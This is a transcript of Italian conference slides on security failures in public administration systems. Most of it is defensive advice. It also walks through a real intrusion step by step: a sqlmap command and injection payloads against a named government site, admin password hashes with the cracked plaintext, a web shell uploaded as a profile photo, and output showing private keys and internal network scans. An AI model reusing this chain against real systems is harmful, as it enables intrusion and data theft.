Top Banner
(in)Sicurezza nella PA Il Piano Triennale: verso il sistema operativo del paese Roma, 05/07/2017 Gianluca Varisco
41

(in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Jan 24, 2018

Download

Software

Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

(in)Sicurezza nella PA

Il Piano Triennale: verso il sistema operativo del paese Roma, 05/07/2017

Gianluca Varisco

Page 2: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• La storia di uno dei tanti problemi di sicurezza scoperti e segnalati

• Esempi pratici di vulnerabilità in applicativi web

• Cosa ci riserva il futuro

Agenda

Page 3: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

La storia di uno dei tanti problemi di sicurezza scoperti e segnalati

Page 4: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

SQLi (SQL injection)

È una tecnica di code injection molto comune con la quale vengono inserite delle stringhe di codice SQL malevole all’interno dei campi di input, es. form web

Due metodologie di difesa: • Approccio blacklist: ho una lista di caratteri non permessi. • Approccio whitelist: ho una lista di caratteri permessi.

Page 5: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

SQLi (SQL injection)Esempio di SQLi:

$username=$_POST[‘username']; $password=$_POST['password']; $query="select username,password from users where username='$username' and password='$password' limit 1"; $result=mysql_query($query); $rows = mysql_fetch_array($result); if($rows) { echo “Log-in OK" ; create_session(); }…

Page 6: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

SQLi (SQL injection)

Source: XKCD

Page 7: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Typo3 e raccolta informazioni• Abbiamo identificato il CMS in utilizzo da questo sito web: Typo3 • Una sezione del sito consente di gestire i dati del proprio profilo e di caricare

alcune informazioni legate alla propria amministrazione (form web) • Abbiamo letto la documentazione ufficiale, che riporta quanto segue:

Page 8: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

SQLmapsqlmap -u “https://www.ammcentrale.it/jupiter/fileadmin/form/selLoc.php.inc?id=180" -v 2 -D jupiter —tables

Parameter: id (GET)

Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=180 AND 2280=2280 Vector: AND [INFERENCE]

Type: AND/OR time-based blind Payload: id=180 AND (SELECT * FROM (SELECT(SLEEP(5)))ueEI) Vector: AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

Page 9: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

SQLi[16:46:30] [INFO] the back-end DBMS is MySQL web server operating system: Linux CentOS 6.5 web application technology: PHP 5.3.3, Apache 2.2.15 back-end DBMS: MySQL 5.0.12 [16:46:30] [INFO] fetching tables for database: 'jupiter' [16:46:30] [DEBUG] performed 0 queries in 0.01 seconds Database: jupiter [86 tables] +————————————————————+ | be_users | | […] | | fe_users | | […] | +————————————————————+

Page 10: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Hash crackingSELECT * from be_users; typoadmin,772bea9734a585d1a438ac2f7ee42b62, admin00,772bea9734a585d1a438ac2f7ee42b62, adminusr,772bea9734a585d1a438ac2f7ee42b62, “Cracking” (via hashes.org API o interfaccia web):

{"REQUEST":"FOUND",“772bea9734a585d1a438ac2f7ee42b62" {“plain”:"iniziale","algorithm":"MD5"}}

Page 11: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Una volta ottenute le credenziali utente, accediamo alla sezione “gestione profilo” e provvediamo a caricare la nostra foto profilo. Tale foto, in realtà, contiene al suo interno del codice malevole PHP, con cui potremo eseguire comandi arbitrari sulla macchina target:

$ wget -nv https://www.ammcentrale.it/jupiter/filetest.php —post-data=“hello=id" -O - | tee -a log.txt

(Web) Shell access

Page 12: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Output (id):Array ( [0] => uid=48(apache) gid=48(apache) groups=48(apache) )

(Web) Shell access

Page 13: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Output (uname -a):Array ( [0] => Linux web1 2.6.32-573.7.1.el6.x86_64 #1 SMP Tue Sep 22 22:00:00 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux )

Local Privilege Escalation

Page 14: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Output (ls): Array ( [1] => -rw-r--r-- 1 root root 9241849 Jul 23 2015 WebServices_preupgrade20150723.tgz [2] => -rw-r--r-- 1 root root 68864 Jun 24 2014 jupiter-20140623.tar.gz [3] => -rw-r--r-- 1 root root 5463 Jun 24 2014 jupiter-api-20140528.tar.gz [4] => -rw-r--r--. 1 root root 58896845 Jun 18 2013 jupiter_0618_h12_net.tar.gz [5] => -rw-r--r--. 1 root root 91788467 Jun 18 2013 jupiter_old_0613.tar.gz [6] => -rw-r--r-- 1 root root 138718390 Jul 24 2015 jupiter_preupgrade20150724.tgz [7] => -rw-r--r-- 1 apache apache 48765633 Jul 25 2015 jupiter_aziende_pre_prod20150725.tgz [8] => -rw-r--r-- 1 root root 35513876 Jul 23 2015 jupiter_public_preupgrade20150723.tgz [9] => -rw-r--r--. 1 root root 12035 Jun 18 2013 parametri.tar.gz [10] => drwxr-xr-x. 8 root root 4096 Feb 11 17:37 www )

Data Exfiltration

Page 15: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Array ( [0] => total 64 [1] => drwxr-xr-x. 2 root root 4096 Jun 30 2015 . [2] => drwxr-xr-x 7 root root 4096 Nov 24 10:32 .. [3] => -rw-r--r-- 1 root root 1751 Apr 12 2014 jupiter2014.key [4] => -rw-r--r-- 1 root root 1102 Apr 12 2014 jupiter2014req.csr [5] => -rw-r--r-- 1 root root 1874 Jun 16 2015 jupiter2015.crt [6] => -rw-r--r-- 1 root root 1704 Jun 25 2015 jupiter2015.key [7] => -rw-r--r-- 1 root root 1151 Jun 8 2015 jupiter2015req.csr [8] => -rw-r--r-- 1 root root 1704 Jun 8 2015 private.key [9] => -rw-r--r--. 1 root root 1213 Jun 10 2013 verisign.crt )

Data Exfiltration

Page 16: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Output (ifconfig): Array ( [0] => eth0 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:E4 [1] => inet addr:192.168.6.112 Bcast:192.168.6.255 Mask:255.255.255.0 [2] => [.....] [..] [9] => eth1 Link encap:Ethernet HWaddr 00:0C:29:5B:9D:EE [10] => inet addr:172.16.113.1 Bcast:172.16.113.255 Mask:255.255.255.0 [2] => [.....] [...] )

Lateral Movement

Page 17: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Output (arp scan): Array ( [0] => ? (192.168.6.115) at 00:50:56:8e:61:af [ether] on eth0 [1] => ? (192.168.6.1) at 00:1c:7f:3a:9c:0b [ether] on eth0 [2] => ? (192.168.6.2) at 00:1c:7f:3a:9c:0b [ether] on eth0 [3] => ? (172.16.113.2) at 00:0c:29:27:90:ba [ether] on eth1 [4] => ? (192.168.6.140) at 00:23:e9:7d:87:c5 [ether] on eth0 [5] => ? (192.168.6.83) at 00:50:56:8e:61:af [ether] on eth0 [6] => ? (192.168.6.3) at 00:1c:7f:3a:a2:73 [ether] on eth0 [….] )

Lateral Movement

Page 18: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Output (nmap): Array ( [0] => [1] => Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2017-04-01 15:33 CEST [2] => Initiating Ping Scan at 15:33 [3] => Scanning XXX hosts [2 ports/host]

Lateral Movement

Page 19: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Vulnerabilità (SQLi) nell’applicazione web • Utilizzo di MD5 come funzione di hash crittografica • Utilizzo di password deboli • Sistema contenente informazioni sensibili al suo interno

(es. backup e chiavi private SSH, anche di altre macchine) • Assenza di segmentazione della rete • Mancato aggiornamento dei sistemi (no patch di sicurezza)

e versioni CMS presenti all’interno della rete obsolete

Cosa è andato storto?

Page 20: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Sanitizzazione input • Utilizzo di funzioni di hash più sicure: bcrypt/scrypt • Utilizzo di salt (previene attacchi bruteforce tramite rainbow tables) • Password policy adeguate (NIST Special Publication 800-63B - Digital

Identity Guidelines), 2-Factor Authentication • Cifratura backup locali e off-site backup • Logging/Auditing eventi • Aggiornamenti costanti CMS • Segmentazione adeguata della rete che riduca al minimo il

movimento laterale su altri sistemi

Cosa avrebbero dovuto fare?

Page 21: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Altre situazioni comuni

Page 22: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Ancora oggi, ci troviamo ad avere migliaia di sistemi esposti su internet vulnerabili a CVE-2014-0160

Heartbleed

Source: Shodan

Page 23: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Session hijacking:

Heartbleed

Page 24: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Versioni non aggiornate • Plug-in non aggiornati • Fork artigianali (™) non aggiornati

• PoC ed exploit (+ metasploit scanner[s]) facilmente reperibili

CMS

Page 25: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Password leak

Page 26: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Password leak

Source: WpEngine Unmasked

Page 27: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Password policy troppo rigida?

Source: WpEngine Unmasked

Page 28: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Moltissimi, anche tra voi in questa stanza, si affidano sempre alle stesse password. Le usano ovunque.

• Utilizzate password manager (1Password, Lastpass, Keepass, etc.)

• Utilizzate password univoche per ogni servizio • Abilitate autenticazione a due fattori (2FA) ove disponibile

• Mancata rotazione delle password negli applicativi web • Salvataggio delle password all’interno dei database in chiaro o

con algoritmi di hash insicuri (MD5, SHA-1 unsalted, etc.)

Problemi legati ai leak di pw

Page 29: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Tanti dei nostri dati vengono periodicamente esposti in maniera scorretta su internet. • Database NoSQL senza livelli di autenticazione • Backend amministrativi vulnerabili (es. SQLi) o misconfigurati

(&& no HTTPS…) • Backend amministrativi PRIVI di autenticazione (o “factory

credentials”) • Ambienti di storage (eg. NAS) vulnerabili e non aggiornati • Volumi (Object-Storage) misconfigurati (ACL) all’interno di

ambienti cloud pubblici e privati

Data leakage

Page 30: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Il futuro (?)

Page 31: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Vettori di attacco:

• Malware / Ransomware • Vulnerabilità su dispositivi

IoT • Vulnerabilità su ICS/Scada • Targeted Spear Phishing

Il futuro (?)

Settori maggiormente colpiti:

• Sanità • Automotive • Impianti Industriali • Infrastrutture critiche

Page 32: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Ransomware (e Wiper)

Page 33: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

IoT

The “S” in “IoT” stands for Security

Page 34: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

ICS/Scada

• Sistemi di controllo industriali spesso: • esposti su internet per facilitarne l’accesso da remoto (es. per ricevere

assistenza tecnica) • privi di qualsiasi livello di autenticazione e non sviluppati per stare su

internet • Nota: non tutti parlano TCP/IP e possono seguire le regole tradizionali

Page 35: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Automotive

Page 36: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Piano Triennale

Page 37: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Capitolo 8: Sicurezza • Misure minime di

sicurezza ICT • Infosharing CERT-PA

Piano Triennale

Page 38: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• A1 - Injection • A2 - Broken Authentication and Session

Management • A3 - Cross-Site Scripting (XSS) • A4 - Broken Access Control • A5 - Security Misconfiguration • A6 - Sensitive Data Exposure • A7 - Insufficient Attack Protection • A8 - Cross-Site Request Forgery (CSRF) • A9 - Using Components with Known

Vulnerabilities • A10 - Underprotected APIs—

OWASP TOP 102017 (RC1)

Page 39: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

Gianluca Varisco • Email: [email protected] • Twitter: @gvarisco • Medium: @gvarisco

Sito Web: https://teamdigitale.governo.it

Contatti

Page 40: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale
Page 41: (in)Sicurezza nella PA - Gianluca Varisco, Cybersecurity del Team per la Trasformazione Digitale

• Pawel Zorzan Urban • Shodan.IO • Censys.IO

Credits